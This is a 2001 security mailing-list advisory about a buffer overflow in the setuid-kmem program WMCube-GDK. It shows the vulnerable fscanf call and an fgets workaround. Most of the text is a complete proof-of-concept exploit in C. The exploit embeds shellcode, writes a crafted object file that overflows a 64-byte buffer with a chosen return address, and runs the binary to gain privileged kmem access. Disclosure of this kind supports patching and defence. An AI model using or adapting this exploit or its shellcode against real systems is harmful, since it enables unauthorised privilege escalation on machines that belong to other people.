[UNIX] WMCube-GDK Yields KMEM Security Privileges
From: support@securiteam.comDate: 12/21/01
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From: support@securiteam.com To: list@securiteam.com Date: Fri, 21 Dec 2001 13:14:46 +0100 (CET)
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WMCube-GDK Yields KMEM Security Privileges
------------------------------------------------------------------------
SUMMARY
<http://www.ne.jp/asahi/linux/timecop/> WMCube / GDK is a modified and
optimized version of WMCube 0.98. A security vulnerability in the product
would allow an attacker to overflow one of the product's internal buffer
and execute arbitrary code. Since the product is setuid kmem, privileged
access to the memory can be gained.
DETAILS
Vulnerable code:
int loadobj(char *filename)
{
FILE *fp;
char tmp[64] = { "" };
int i = 0, counter = 1;
10:
...
fscanf(fp, "%s", tmp);
...
goto 10;
}
Workaround:
Replace fscanf(fp, "%s", tmp); in loadobj(), wmcube.c with fgets(tmp, 64,
fp);.
Exploit:
/*
* (c) Andrew / GOBBLES Security
*
* PoC exploit for wmcube-gdk
*
* Usage: /path/to/GOBBLES-wmcube-gdk-exploit [offset]
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
unsigned char GOBBLES_shellcode[] =
"\xb8\xf5\xf5\xff\xff\xf7\xd0\x50\xb8\xb3\xba\xac\xde\xf7\xd0\x50"
"\xb8\xb8\xb0\xbd\xbd\xf7\xd0\x50\x89\xe6\x31\xc0\x31\xdb\xb0\xf5"
"\xf6\xd0\x50\x56\x53\xb0\x04\x50\xcd\x80\xb0\x01\x50\xcd\x80";
int main(int argc, char **argv) {
FILE *fd;
int i;
u_long retaddy = 0xbfbff634;
if(argc == 2)
retaddy += atoi(argv[1]);
fd = fopen(".gobbles", "wt");
fprintf(fd, "WMCUBE_COORDINATES\n");
fprintf(fd, "1aaa"); // atoi()..
for(i = 0; i < 64; i += 8)
fprintf(fd, "GOBBLES!");
printf("GOBBLES: Using %lx as retaddy\n", retaddy);
fflush(NULL);
fwrite(&retaddy, 4, 1, fd);
fprintf(fd, "GOBBLES!");
fprintf(fd, "GOBBLES!");
fprintf(fd, "%s", GOBBLES_shellcode);
fprintf(fd, " 0 -42 42\n");
fprintf(fd, "WMCUBE_LINES\n");
fprintf(fd, "1 1\n");
fclose(fd);
execl("/usr/X11R6/bin/wmcube-gdk", "wmcube-gdk", "-o", ".gobbles",
0);
unlink(".gobbles"); /* Mum always told me to cleanup when im
done! */
fprintf(stderr, "System immune against GOBBLES exploit!\n");
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:bugtraq@bugtraq.org> bugtraq
(GOBBLES Labs).
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